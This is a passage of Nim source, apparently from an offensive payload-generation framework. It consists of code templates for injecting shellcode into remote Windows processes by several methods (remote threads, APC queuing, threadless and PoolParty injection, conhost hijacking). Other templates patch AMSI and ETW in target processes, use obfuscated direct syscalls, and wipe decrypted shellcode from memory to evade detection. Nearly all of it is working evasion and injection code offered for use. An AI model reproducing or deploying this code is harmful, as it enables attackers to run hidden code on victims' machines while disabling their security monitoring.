echo obf("[+] NtWriteVirtualMemory for Caro-Kann shellcode success! "), repr(rPtr2)
echo obf(" \\-- bytes written: "), bytesWritten
echo obf("")
else:
when defined(verbose):
echo obf("[-] NtWriteVirtualMemory for Caro-Kann shellcode failed "), repr(rPtr2) ," ", toHex(status)
quit(1)
# Setting permissions to RX via VirtualProtectEx
when defined(Hellsgate):
if getSyscall(ntProtectTable):
syscall = ntProtectTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
#var oldProtect: DWORD
protectAddress = rPtr2
when defined(stomb):
hook_sc_size = hook_sc_size + 0x1000
status = NtProtectVirtualMemory(tProcess, addr protectAddress, addr hook_sc_size, PAGE_EXECUTE_READ, addr oldProtect)
when defined(logFile):
logVerbose(obf("[*] NtProtectVirtualMemory RX for address: ") & cast[string](repr(protectAddress)) & obf(" status: ") & cast[string](toHex(status)) & "\r\n")
if (status == 0):
when defined(verbose):
echo obf("[+] NtProtectVirtualMemory for Caro-Kann shellcode success! "), repr(protectAddress)
echo obf(" \\-- old protection: "), oldProtect
echo obf("")
else:
when defined(verbose):
echo obf("[-] NtProtectVirtualMemory for Caro-Kann shellcode failed!")
quit(1)
ds = rPtr2
when defined(stomb):
# as the execute primitive should now execute our custom shellcode, we need to set ds to the address of the shellcode.
# It will automatically jump to the regular shellcode after sleep, decryption and re-protect.
ds = rPtr2
when defined(logFile):
logVerbose(obf("[*] Address for rPtr2 is: ") & cast[string](repr(rPtr2)) & "\r\n")
when defined(restore): # void function
proc restoreText(): void =
when defined(carokann):
Sleep(12000)
else:
Sleep(200)
when defined(verbose):
echo obf("[*] Restoring original .text section")
protectAddress = textStart
allocateSize = mbi.RegionSize
when defined(Hellsgate):
if getSyscall(ntProtectTable):
syscall = ntProtectTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
status = NtProtectVirtualMemory(tProcess, addr protectAddress, addr allocateSize, oldProtect, addr oldProtect)
when defined(verbose):
if (status == 0):
echo obf("[+] NtProtectVirtualMemory success! "), repr(protectAddress)
else:
echo obf("[-] NtProtectVirtualMemory failed! "), repr(protectAddress)
quit(1)
when defined(Hellsgate):
if getSyscall(ntWriteTable):
syscall = ntWriteTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
status = NtWriteVirtualMemory(tProcess, textStart, unsafeAddr originalRXSection[0], (mbi.RegionSize), addr bytesWritten)
when defined(verbose):
if (status == 0):
echo obf("[+] NtWriteVirtualMemory success"), repr(textStart)
else:
echo obf("[-] Failed to write the original RX section"), repr(textStart), toHex(status)
quit(1)
when defined(Hellsgate):
if getSyscall(ntProtectTable):
syscall = ntProtectTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
protectAddress = textStart
allocateSize = mbi.RegionSize
status = NtProtectVirtualMemory(tProcess, addr protectAddress, addr allocateSize, PAGE_EXECUTE_READ, addr oldProtect)
when defined(verbose):
if (status == 0):
echo obf("[+] NtProtectVirtualMemory success! "), repr(protectAddress)
else:
echo obf("[-] NtProtectVirtualMemory failed! "), repr(protectAddress)
quit(1)
when defined(conhostinject):
udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA)
when defined(verbose):
echo "[*] GWLP_USERDATA : ", toHex(udptr), "\n"
ReadProcessMemory(tProcess, cast[LPVOID](udptr), cast[LPVOID](addr vTable), sizeof(ULONG_PTR), addr wr)
when defined(verbose):
echo "[*] Table : ", toHex(vTable), "\n"
ReadProcessMemory(tProcess, cast[LPVOID](vTable), cast[LPVOID](addr cw), sizeof(ConsoleWindow), addr wr)
dss = VirtualAllocEx(tProcess, nil, sizeof(ConsoleWindow), MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
cw.GetWindowHandle = cast[uint64](ds)
WriteProcessMemory(tProcess, cast[LPVOID](dss), addr cw, sizeof(ConsoleWindow), addr wr)
WriteProcessMemory(tProcess, cast[LPVOID](udptr), addr dss, sizeof(ULONG_PTR), addr wr)
# Trigger execution
SendMessage(hwnd, WM_SETFOCUS, 0, 0)
# wait for e.G. Caro-Kann Trigger time
Sleep(20000)
WriteProcessMemory(tProcess, cast[LPVOID](udptr), addr vTable, sizeof(ULONG_PTR), addr wr)
VirtualFreeEx(tProcess, ds, 0, MEM_RELEASE)
VirtualFreeEx(tProcess, dss, 0, MEM_RELEASE)
CloseHandle(tProcess)
# exit program, as we finished
quit(0)
when defined(threadless):
# Use GetRemoteModuleHandle and GetRemoteProcAddress to check for threadlessDLL and threadlessFunction
# if threadlessDLL == ntdll.dll we can also query the address from the local process as they are equal
var remoteProc: LPVOID
if(threadlessDLL == obf("ntdll.dll")):
var localHandle = GetModuleHandle(threadlessDLL)
if localHandle == 0:
when defined(verbose):
echo obf("[-] Failed to get handle for local "), threadlessDLL
quit(1)
var localProc = GetProcAddress(localHandle, threadlessFunction)
if localProc == NULL:
when defined(verbose):
echo obf("[-] Failed to get address of "), threadlessFunction
quit(1)
when defined(verbose):
echo obf("[*] Found address of "), threadlessFunction, obf(" at "), toHex(cast[HANDLE](localProc)), "\r\n"
remoteProc = localProc
else:
var remoteHandle = GetRemoteModuleHandle(tProcess, threadlessDLL)
if remoteHandle == 0:
when defined(verbose):
echo obf("[-] Failed to get handle for "), threadlessDLL
quit(1)
remoteProc = GetRemoteProcAddress(tProcess, remoteHandle, threadlessFunction)
if remoteProc == NULL:
when defined(verbose):
echo obf("[-] Failed to get address of "), threadlessFunction
quit(1)
when defined(verbose):
echo obf("[*] Found address of "), threadlessFunction, obf(" at "), toHex(cast[HANDLE](remoteProc)), "\r\n"
when defined(logFile):
logVerbose(obf("[*] ThreadlessInject2 start") & "\r\n")
# Call threadlessThread with target process, shellcode address and targetFunction address
var threadlessSuccess: bool = threadlessThread(tProcess, ds, remoteProc)
if threadlessSuccess == false:
when defined(verbose):
echo obf("[-] Failed to create threadless thread")
when defined(logFile):
logVerbose(obf("[-] Failed to create threadless thread\r\n"))
quit(1)
when defined(verbose):
when defined(logFile):
logVerbose(obf("[+] Threadless thread created successfully\r\n"))
echo obf("[+] Threadless thread created successfully")
when defined(restore):
restoreText()
quit(0)
when defined(poolparty):
when defined(JmpEntry):
ds = newEntry
ExecutePoolparty(tProcess, ds)
when defined(JmpEntry):
Sleep(1000)
if(restoreBytes(tProcess, ds)):
when defined(verbose):
echo obf("[*] Restored bytes!")
else:
when defined(verbose):
echo obf("[-] Failed to restore bytes!")
when defined(restore):
restoreText()
return
when defined(QueueAPC):
when defined(Hellsgate):
if getSyscall(ntQueueApcThreadTable):
syscall = ntQueueApcThreadTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtQueueApcThread")
when defined(JmpEntry):
ds = newEntry
let pfnAPC : PKNORMAL_ROUTINE = cast[PKNORMAL_ROUTINE](ds)
status = NtQueueApcThread(remoteThreadHandle, pfnAPC, ds, nil, nil)
when defined(verbose):
echo obf("[*] NtQueueApcThread: "), toHex(status)
when defined(JmpEntry):
Sleep(1000)
if(restoreBytes(tProcess, ds)):
when defined(verbose):
echo obf("[*] Restored bytes!")
else:
when defined(verbose):
echo obf("[-] Failed to restore bytes!")
when defined(restore):
restoreText()
else:
when defined(Hellsgate):
if getSyscall(ntCreateTable):
syscall = ntCreateTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtCreateThreadEx")
when defined(JmpEntry):
ds = newEntry
status = NtCreateThreadEx(
&tHandle,
THREAD_ALL_ACCESS,
NULL,
tProcess,
ds,
NULL, FALSE, 0, 0, 0, NULL)
when defined(verbose):
echo obf("[*] NtCreateThreadEx: "), toHex(status), " ", repr(ds)
when defined(JmpEntry):
Sleep(1000)
if(restoreBytes(tProcess, ds)):
when defined(verbose):
echo obf("[*] Restored bytes!")
else:
when defined(verbose):
echo obf("[-] Failed to restore bytes!")
when defined(restore):
restoreText()
when defined(Hellsgate):
if getSyscall(ntCloseTable):
syscall = ntCloseTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtClose")
status = NtClose(tHandle)
status = NtClose(tProcess)
injectCreateRemoteThread(dectext) # later on to be changed to enctext when decrypting after NtWriteVirtualMemory
when not defined(proxy):
when defined(defaultMain):
when not defined(service):
when not defined(cloned):
when not defined(perfecthijack):
discard main(nil)
"""
let ShellcoderemoteinjectStub_notepad * = """
proc injectCreateRemoteThread(friendlycode: openarray[byte]): void =
var cid: CLIENT_ID
var oa: OBJECT_ATTRIBUTES
when not defined(spawninject):
var tProcess: HANDLE
var tHandle: HANDLE
var ds: LPVOID
var sc_size: SIZE_T = cast[SIZE_T](friendlycode.len)
when not defined(conhostinject):
cid.UniqueProcess = remoteProcID
when defined(logFile):
logVerbose(obf("[*] In the Inject function \r\n"))
"""
let ShellcoderemoteinjectStub_customprocfirst * = """
proc FindPidByName (processName : string):DWORD =
try:
var
entry : PROCESSENTRY32A
snapshot : HANDLE
pid : DWORD = 0
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
if snapshot != INVALID_HANDLE_VALUE:
entry.dwSize = DWORD(sizeof(PROCESSENTRY32))
if Process32FirstA(snapshot,addr entry):
while Process32NextA(snapshot,addr entry):
pid = entry.th32ProcessID
if ($(entry.szExeFile).join()).contains(processName):
result = pid
except:
when defined(verbose):
echo obf("Process ID not found")
var processID: DWORD
"""
let ShellcoderemoteinjectStub_customprocID * = """
var found: bool = false
for m in remoteprocesses:
if found == true: continue
when defined(verbose):
echo obf("Checking: ") & $m
processID = FindPidByName(m)
if (processID):
found = true
when defined(verbose):
echo obf("[*] Target Process: "), processID
var remoteProcID: DWORD = processID
"""
let ShellcoderemoteinjectStub_customprocthird * = """
proc injectCreateRemoteThread(friendlycode: openarray[byte]): void =
var cid: CLIENT_ID
var oa: OBJECT_ATTRIBUTES
when not defined(spawninject):
var tProcess: HANDLE
var tHandle: HANDLE
var ds: LPVOID
var sc_size: SIZE_T = cast[SIZE_T](friendlycode.len)
cid.UniqueProcess = processID
"""
let RemotePatchAMSIStub* = """
proc RemotePatchAmsi(hProcss :HANDLE): bool =
when defined amd64:
let patch: array[1, byte] = [byte 0x75] # Patch JZ to JNZ
elif defined i386:
let patch: array[1, byte] = [byte 0x75]
var disabled: bool = false
var RemoteHandle = GetRemoteModuleHandle(hProcss, obf("amsi.dll"))
if RemoteHandle == 0:
when defined(verbose):
echo obf("[X] Failed to get amsi.dll handle")
return disabled
var RemoteProc = GetRemoteProcAddress(hProcss, RemoteHandle,obf("AmsiScanBuffer"))
if RemoteProc == NULL:
when defined(verbose):
echo obf("[X] Failed to get the address of 'AmsiScanBuffer'")
return disabled
when defined amd64:
RemoteProc = RemoteProc + 0x6D
else:
RemoteProc = RemoteProc + 0x47
var oldProtection: DWORD = 0
var success: BOOL
var protectAddress = RemoteProc
var friendlycodeLength = cast[SIZE_T](patch.len)
var t: ULONG
var op: ULONG
var
status : NTSTATUS = 0x00000000
buffer : LPVOID
when defined(SysWhispers):
status = uashdiasdj(hProcss, addr protectAddress,addr friendlycodeLength,0x04,addr t)
if not NT_SUCCESS(status):
when defined(verbose):
echo obf("[-] Failed to allocate memory.")
else:
when defined(verbose):
echo obf("[*] Applying Syscall AMSI patch")
var bytesWritten: SIZE_T
var outLength: SIZE_T
status = oqiazasusjk(hProcss,RemoteProc,unsafeAddr patch,patch.len,addr outLength)
if not NT_SUCCESS(status):
when defined(verbose):
echo obf("[-] Failed to write memory.")
else:
when defined(verbose):
echo obf("[+] oqiazasusjk Succeed!")
status = uashdiasdj(hProcss,addr protectAddress,addr friendlycodeLength,cast[ULONG](t),addr op)
if not NT_SUCCESS(status):
when defined(verbose):
echo obf("[-] Failed to allocate memory.")
else:
when defined(verbose):
echo obf("[+] OldProtect set back")
disabled = true
return disabled
else:
when defined(Hellsgate):
if getSyscall(ntProtectTable):
syscall = ntProtectTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
status = NtProtectVirtualMemory(hProcss, addr protectAddress,addr friendlycodeLength,0x04,addr t)
if not NT_SUCCESS(status):
when defined(verbose):
echo obf("[-] Failed to allocate memory.")
else:
when defined(verbose):
echo obf("[*] Applying Syscall AMSI patch")
var bytesWritten: SIZE_T
when defined(Hellsgate):
if getSyscall(ntWriteTable):
syscall = ntWriteTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
var outLength: SIZE_T
status = NtWriteVirtualMemory(hProcss,RemoteProc,unsafeAddr patch,patch.len,addr outLength)
if not NT_SUCCESS(status):
when defined(verbose):
echo obf("[-] Failed to write memory.")
else:
when defined(verbose):
echo obf("[+] NtWriteVirtualMemory Succeed!")
when defined(Hellsgate):
if getSyscall(ntProtectTable):
syscall = ntProtectTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
status = NtProtectVirtualMemory(hProcss,addr protectAddress,addr friendlycodeLength,cast[ULONG](t),addr op)
if not NT_SUCCESS(status):
when defined(verbose):
echo obf("[-] Failed to allocate memory.")
else:
when defined(verbose):
echo obf("[+] OldProtect set back")
disabled = true
return disabled
when isMainModule:
when defined(SysWhispers):
when not defined(spawninject):
status = opqiwepoausdasdjl(&hProcss,PROCESS_ALL_ACCESS,&oa, &cid)
else:
when not defined(spawninject):
when defined(Hellsgate):
if getSyscall(ntOpenTable):
syscall = ntOpenTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtOpenProcess")
var hProcss: HANDLE
var oa2: OBJECT_ATTRIBUTES
var cid2: CLIENT_ID
cid2.UniqueProcess = processID
var statusamsi = NtOpenProcess(
&hProcss,
PROCESS_QUERY_INFORMATION,
&oa2, &cid2
)
when defined(verbose):
echo obf("[*] NtOpenProcess: "), toHex(statusamsi)
when defined(Hellsgate):
if getSyscall(ntDuplicateTable):
syscall = ntDuplicateTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtDuplicateObject")
# duplicate to get PROCESS_ALL_ACCESS
var high: HANDLE
status = NtDuplicateObject(
-1,
hProcss,
-1,
&high,
PROCESS_ALL_ACCESS,
FALSE,
0
)
when defined(verbose):
echo obf("[*] NtDuplicateObject: "), toHex(workedfine)
hProcss = high
when not defined(spawninject):
var procHandle2: HANDLE = hProcss
else:
var procHandle2: HANDLE = tProcess
success = RemotePatchAmsi(procHandle2)
if (success == 0):
success = remoteLoadAmsi(remoteProcID)
HowMuchTimeWouldYoulikeToSleep(4)
success = RemotePatchAmsi(procHandle2)
when defined(verbose):
echo obf("[*] AMSI disabled in the remote process: ") & fmt"{bool(success)}"
#amsRemote()
"""
let RemoteLoadDllStub* = """
proc remoteLoadDll(moduletoInject: cstring, tProcess: HANDLE): bool =
var
regionSize: SIZE_T
ntStatus: NTSTATUS
ntcode: NTSTATUS
threadRoutine: PTHREAD_START_ROUTINE
regionSize = 4096
when defined(verbose):
echo obf("[*] Loading "), moduletoInject, obf(" in the remote process")
var tHandle: HANDLE
var ds: LPVOID
var status: NTSTATUS
var sc_size: SIZE_T = cast[SIZE_T](moduletoInject.len)
when defined(SysWhispers):
status = oqiahsjynmxkla(tProcess, &ds, 0, &sc_size,MEM_COMMIT,PAGE_EXECUTE_READWRITE)
when defined(verbose):
echo obf("[*] NtAllocateVirtualMemory: "), toHex(status), " ", toHex(ds)
var bytesWritten: SIZE_T
status = oqiazasusjk(tProcess,ds,moduletoInject,sc_size-1,addr bytesWritten)
when defined(verbose):
echo obf("[*] NtWriteVirtualMemory: "), toHex(status)
echo obf(" \\-- bytes written: "), bytesWritten
echo obf("")
var pfnThreadRtn: LPTHREAD_START_ROUTINE = cast[LPTHREAD_START_ROUTINE](GetProcAddress(GetModuleHandle(obf("Kernel32.dll")), obf("LoadLibraryA")));
status = zuq8aztsdztausdgbh(&tHandle,THREAD_ALL_ACCESS,NULL,tProcess,pfnThreadRtn,ds, FALSE, 0, 0, 0, NULL)
status = zuatzuastdiasyy(tHandle)
if(status == 0):
return true
else:
return false
else:
when defined(Hellsgate):
if getSyscall(ntAllocTable):
syscall = ntAllocTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtAllocateVirtualMemory")
status = NtAllocateVirtualMemory(
tProcess, &ds, 0, &sc_size,
MEM_COMMIT,
PAGE_READWRITE)
when defined(verbose):
echo obf("[*] NtAllocateVirtualMemory: "), toHex(status), " ", repr(ds)
var bytesWritten: SIZE_T
when defined(logFile):
logVerbose(obf("[*] NtAllocateVirtualMemory for DLL Name: ")& cast[string](toHex(status))& " " & cast[string](repr(ds)) & "\r\n")
when defined(Hellsgate):
if getSyscall(ntWriteTable):
syscall = ntWriteTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
status = NtWriteVirtualMemory(
tProcess,
ds,
moduletoInject,
sc_size-1,
addr bytesWritten)
when defined(verbose):
echo obf("[*] NtWriteVirtualMemory: "), toHex(status)
when defined(verbose):
echo obf(" \\-- bytes written: "), bytesWritten
echo obf("")
when defined(logFile):
logVerbose(obf("[*] NtWriteVirtualMemory for DLL Name: ")& cast[string](toHex(status))& " " & cast[string](toHex(bytesWritten)) & "\r\n")
when defined(Hellsgate):
if getSyscall(ntProtectTable):
syscall = ntProtectTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
var oldProtect: DWORD
var targetAddress: LPVOID = ds
status = NtProtectVirtualMemory(
tProcess,
addr targetAddress,
&sc_size,
PAGE_READONLY,
addr oldProtect)
when defined(DInvoke):
var pfnThreadRtn: LPTHREAD_START_ROUTINE = cast[LPTHREAD_START_ROUTINE](MyGetProcAddress(MyGetModuleHandleA(obf("Kernel32.dll")), obf("LoadLibraryA")))
else:
var pfnThreadRtn: LPTHREAD_START_ROUTINE = cast[LPTHREAD_START_ROUTINE](GetProcAddress(GetModuleHandleA(obf("Kernel32.dll")), obf("LoadLibraryA")))
when defined(threadless):
# Create a new thread starting at LoadLibraryW with the DLL name buffer address as parameter
# This will execute LoadLibraryW(L"DLLName") in the remote process
var loadLibraryStk: array[32, byte] = [byte 0x55, # PUSH RBP
0x48, 0x89, 0xE5, # MOV RBP, RSP
0x48, 0x83, 0xEC, 0x30, # SUB RSP, 0x30 : space needed for LoadLibrary to not fuck the stack
0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # MOV RCX, 0x0000000000000000 -> module name
0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # MOV RAX, 0x0000000000000000 -> loadLibraryW address
0xFF, 0xD0, # CALL RAX
0xC9, # LEAVE
0xC3
]
moveMemory(unsafeAddr loadLibraryStk[10], &ds, sizeof(DWORD64))
moveMemory(unsafeAddr loadLibraryStk[20], &pfnThreadRtn, sizeof(DWORD64))
var loadLibraryAddress : PVOID = nil
var pageSize: SIZE_T = 32 * sizeof(BYTE)
var szOutput: SIZE_T
when defined(Hellsgate):
if getSyscall(ntAllocTable):
syscall = ntAllocTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtAllocateVirtualMemory")
ntcode = NtAllocateVirtualMemory(tProcess, &loadLibraryAddress, 0, &pageSize, MEM_COMMIT, PAGE_READWRITE)
if (ntcode == 0):
when defined(verbose):
echo "[+] Allocate memory for loadLibrary Shellcode success"
when defined(logFile):
logVerbose(obf("[*] NtAllocateVirtualMemory for LoadLibrary: ")& cast[string](toHex(ntcode))& " " & cast[string](repr(loadLibraryAddress)) & "\r\n")
when defined(Hellsgate):
if getSyscall(ntWriteTable):
syscall = ntWriteTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
var addresstoWrite: PVOID = loadLibraryAddress
pageSize = 32 * sizeof(BYTE)
ntcode = NtWriteVirtualMemory(tProcess, addresstoWrite, unsafeAddr loadLibraryStk[0], pageSize, &szOutput)
if (ntcode == 0):
when defined(verbose):
echo "[+] Write Shellcode success"
when defined(logFile):
logVerbose(obf("[*] NtWriteVirtualMemory for LoadLibrary: ")& cast[string](toHex(ntcode))& " " & cast[string](toHex(szOutput)) & "\r\n")
when defined(Hellsgate):
if getSyscall(ntProtectTable):
syscall = ntProtectTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
var protectionRXAddress: PVOID = loadLibraryAddress
ntcode = NtProtectVirtualMemory(tProcess, &protectionRXAddress, &pageSize, PAGE_EXECUTE_READ, cast[PDWORD](&szOutput))
if (ntcode == 0):
when defined(verbose):
echo "[+] Re-Protected to RX success"
when defined(verbose):
echo "[+] LoadLibraryW shellcode written at : ", repr(protectionRXAddress)
when defined(logFile):
logVerbose(obf("[*] NtProtectVirtualMemory for LoadLibrary: ")& cast[string](toHex(ntcode))& " " & cast[string](toHex(szOutput)) & "\r\n")
var threadlessRoutine: LPVOID = nil
if (threadlessDLL == obf("ntdll.dll")):
# get module from local proc and GetProcAddress for the function afterwards as its the same
var remoteModHandle: HMODULE = GetModuleHandle(threadlessDLL)
if (remoteModHandle == 0):
when defined(verbose):
echo "[-] Cannot retrieve module"
when defined(logFile):
logVerbose(obf("[-] Cannot retrieve module") & "\r\n")
return false
threadlessRoutine = cast[LPVOID](GetProcAddress(remoteModHandle, threadlessFunction))
if(threadlessRoutine == nil):
when defined(verbose):
echo "[-] Cannot retrieve function"
when defined(logFile):
logVerbose(obf("[-] Cannot retrieve function") & "\r\n")
return false
else:
var remoteModHandle: HMODULE = GetRemoteModuleHandle(tProcess, threadlessDLL)
if (remoteModHandle == 0):
when defined(verbose):
echo "[-] Cannot retrieve module"
when defined(logFile):
logVerbose(obf("[-] Cannot retrieve module") & "\r\n")
return false
threadlessRoutine = cast[LPVOID](GetRemoteProcAddress(tProcess, remoteModHandle, threadlessFunction))
when defined(verbose):
echo "[*] Threadless routine: ", repr(threadlessRoutine)
when defined(logFile):
logVerbose(obf("[*] Starting ThreadlessInject") & "\r\n")
var threadSuccess = threadlessThread(tProcess, loadLibraryAddress, threadlessRoutine)
when defined(verbose):
echo "Threadless inject success: ", threadSuccess
when defined(logFile):
logVerbose(obf("[*] ThreadlessInject success: ") & cast[string](toHex(threadSuccess)) & "\r\n")
status = NtFreeVirtualMemory(tProcess, &loadLibraryAddress, &pageSize, MEM_RELEASE)
if (status == 0):
when defined(verbose):
echo "[+] Free memory success"
else:
when defined(verbose):
echo "[-] Free memory failed"
Sleep(500)
return threadSuccess
else:
when defined(Hellsgate):
if getSyscall(ntCreateTable):
syscall = ntCreateTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtCreateThreadEx")
status = NtCreateThreadEx(
&tHandle,
THREAD_ALL_ACCESS,
NULL,
tProcess,
pfnThreadRtn,
ds, FALSE, 0, 0, 0, NULL)
when defined(verbose):
echo obf("[*] NtCreateThreadEx: "), toHex(status)
#status = NtClose(tHandle)
Sleep(500)
if(status == 0):
return true
else:
return false
"""
let RemoteLoadAMSIStub* = """
proc remoteLoadAmsi(processID: var DWORD): bool =
# C:\windows\system32\amsi.dll
var friendlycode: array[28, char] = [char(0x43), char(0x3A), char(0x5C), char(0x77), char(0x69), char(0x6E), char(0x64),
char(0x6F), char(0x77), char(0x73), char(0x5C), char(0x73), char(0x79), char(0x73), char(0x74), char(0x65), char(0x6D),
char(0x33), char(0x32), char(0x5C), char(0x61), char(0x6D), char(0x73), char(0x69),char(0x2E), char(0x64), char(0x6C), char(0x6C)]
when defined(verbose):
echo obf("[*] Loading amsi.dll in the remote process: "), processID
var cid: CLIENT_ID
var oa: OBJECT_ATTRIBUTES
when not defined(spawninject):
var tProcess: HANDLE
var tHandle: HANDLE
var ds: LPVOID
var status: NTSTATUS
var sc_size: SIZE_T = cast[SIZE_T](friendlycode.len)
cid.UniqueProcess = processID
when defined(SysWhispers):
when not defined(spawninject):
status = opqiwepoausdasdjl(&tProcess,PROCESS_QUERY_INFORMATION,&oa, &cid)
when defined(verbose):
echo obf("[*] NtOpenProcess: "), toHex(status)
# duplicate to get PROCESS_ALL_ACCESS
var high: HANDLE
let workedfine = DuplicateHandle(
-1,
tProcess,
-1,
&high,
PROCESS_ALL_ACCESS,
FALSE,
0
)
when defined(verbose):
echo obf("[*] DuplicateHandle: "), toHex(workedfine)
tProcess = high
status = oqiahsjynmxkla(tProcess, &ds, 0, &sc_size,MEM_COMMIT,PAGE_EXECUTE_READWRITE)
when defined(verbose):
echo obf("[*] NtAllocateVirtualMemory: "), toHex(status), " ", toHex(ds)
var bytesWritten: SIZE_T
status = oqiazasusjk(tProcess,ds,unsafeAddr friendlycode,sc_size-1,addr bytesWritten)
when defined(verbose):
echo obf("[*] NtWriteVirtualMemory: "), toHex(status)
echo obf(" \\-- bytes written: "), bytesWritten
echo obf("")
var pfnThreadRtn: LPTHREAD_START_ROUTINE = cast[LPTHREAD_START_ROUTINE](GetProcAddress(GetModuleHandle(obf("Kernel32.dll")), obf("LoadLibraryA")));
status = zuq8aztsdztausdgbh(&tHandle,THREAD_ALL_ACCESS,NULL,tProcess,pfnThreadRtn,ds, FALSE, 0, 0, 0, NULL)
status = zuatzuastdiasyy(tHandle)
if(status == 0):
return true
else:
return false
else:
when defined(Hellsgate):
if getSyscall(ntOpenTable):
syscall = ntOpenTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtOpenProcess")
when not defined(spawninject):
status = NtOpenProcess(&tProcess,PROCESS_QUERY_INFORMATION,&oa, &cid)
when defined(verbose):
echo obf("[*] NtOpenProcess: "), toHex(status)
# duplicate to get PROCESS_ALL_ACCESS
when defined(Hellsgate):
if getSyscall(ntDuplicateTable):
syscall = ntDuplicateTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtDuplicateObject")
var high: HANDLE
status = NtDuplicateObject(
-1,
tProcess,
-1,
&high,
PROCESS_ALL_ACCESS,
FALSE,
0
)
when defined(verbose):
echo obf("[*] NtDuplicateObject: "), toHex(status)
tProcess = high
when defined(Hellsgate):
if getSyscall(ntAllocTable):
syscall = ntAllocTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtAllocateVirtualMemory")
status = NtAllocateVirtualMemory(
tProcess, &ds, 0, &sc_size,
MEM_COMMIT,
PAGE_READWRITE)
when defined(verbose):
echo obf("[*] NtAllocateVirtualMemory: "), toHex(status), " ", toHex(ds)
var bytesWritten: SIZE_T
when defined(Hellsgate):
if getSyscall(ntWriteTable):
syscall = ntWriteTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
status = NtWriteVirtualMemory(
tProcess,
ds,
unsafeAddr friendlycode,
sc_size-1,
addr bytesWritten)
when defined(verbose):
echo obf("[*] NtWriteVirtualMemory: "), toHex(status)
when defined(verbose):
echo obf(" \\-- bytes written: "), bytesWritten
echo obf("")
when defined(verbose):
echo obf("[*] Going to clean local memory of decrypted shellcode")
# ptrDecText has to be overwritten with 0 for friendlycode.len bytes
var zeroSeq: seq[byte] = newSeq[byte](friendlycode.len)
moveMemory(ptrDecText, addr zeroSeq[0], friendlycode.len)
when defined(verbose):
echo obf("[*] Done.")
when defined(Hellsgate):
if getSyscall(ntProtectTable):
syscall = ntProtectTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
var oldProtect: DWORD
var targetAddress: LPVOID = ds
status = NtProtectVirtualMemory(
tProcess,
addr targetAddress,
&sc_size,
PAGE_READONLY,
addr oldProtect)
when defined(DInvoke):
var pfnThreadRtn: LPTHREAD_START_ROUTINE = cast[LPTHREAD_START_ROUTINE](MyGetProcAddress(MyGetModuleHandleA(obf("Kernel32.dll")), obf("LoadLibraryA")))
else:
var pfnThreadRtn: LPTHREAD_START_ROUTINE = cast[LPTHREAD_START_ROUTINE](GetProcAddress(GetModuleHandleA(obf("Kernel32.dll")), obf("LoadLibraryA")))
when defined(Hellsgate):
if getSyscall(ntCreateTable):
syscall = ntCreateTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtCreateThreadEx")
status = NtCreateThreadEx(
&tHandle,
THREAD_ALL_ACCESS,
NULL,
tProcess,
pfnThreadRtn,
ds, FALSE, 0, 0, 0, NULL)
when defined(verbose):
echo obf("[*] NtCreateThreadEx: "), toHex(status)
status = NtClose(tHandle)
if(status == 0):
return true
else:
return false
"""
let RemotePatchETWStub* = """
proc RemotePatchETW(hProcss :HANDLE): bool =
when defined amd64:
let patch: array[1, byte] = [byte 0x74] # Credit to @MrUn1k0d3r - https://players.brightcove.net/3755095886001/default_default/index.html?videoId=6308564004112
elif defined i386:
let patch: array[1, byte] = [byte 0x74] # Credit to @MrUn1k0d3r - https://players.brightcove.net/3755095886001/default_default/index.html?videoId=6308564004112
var disabled: bool = false
# local process and remote process ntdll.dll addresses are equal.
when defined(DInvoke):
var ntdlldll = MyGetModuleHandleA(obf("ntdll.dll"))
else:
var ntdlldll = GetModuleHandleA(obf("ntdll.dll"))
when defined(DInvoke):
var RemoteProc = MyGetProcAddress(ntdlldll, obf("NtTraceEvent"))
else:
var RemoteProc = GetProcAddress(ntdlldll,"NtTraceEvent")
if isNil(RemoteProc):
when defined(verbose):
echo obf("[X] Failed to get the address of 'NtTraceEvent'")
var oldProtection: DWORD = 0
var success: BOOL
var protectAddress = RemoteProc
var friendlycodeLength = cast[SIZE_T](patch.len)
var t: ULONG
var op: ULONG
var
status : NTSTATUS = 0x00000000
buffer : LPVOID
when defined(SysWhispers):
status = uashdiasdj(hProcss, addr protectAddress,addr friendlycodeLength,0x04,addr t)
